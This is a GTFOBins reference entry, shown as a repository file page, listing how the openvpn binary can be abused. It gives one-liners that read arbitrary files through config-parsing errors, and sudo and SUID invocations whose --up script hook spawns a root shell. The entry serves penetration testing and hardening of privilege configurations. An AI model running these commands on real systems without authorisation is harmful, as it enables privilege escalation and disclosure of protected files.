Files
GTFOBins.github.io/_gtfobins/openvpn.md
2021-02-20 00:56:32 +01:00

23 lines
798 B
Markdown

---
functions:
file-read:
- description: The file is actually parsed and the first partial wrong line is returned in an error message.
code: |
LFILE=file_to_read
openvpn --config "$LFILE"
suid:
- code: |
./openvpn --dev tun0 --script-security 2 --up '/bin/sh -p -c "sh -p"'
- description: The file is actually parsed and the first partial wrong line is returned in an error message.
code: |
LFILE=file_to_read
./openvpn --config "$LFILE"
sudo:
- code: |
sudo openvpn --dev tun0 --script-security 2 --up '/bin/sh -c sh'
- description: The file is actually parsed and the first partial wrong line is returned in an error message.
code: |
LFILE=file_to_read
sudo openvpn --config "$LFILE"
---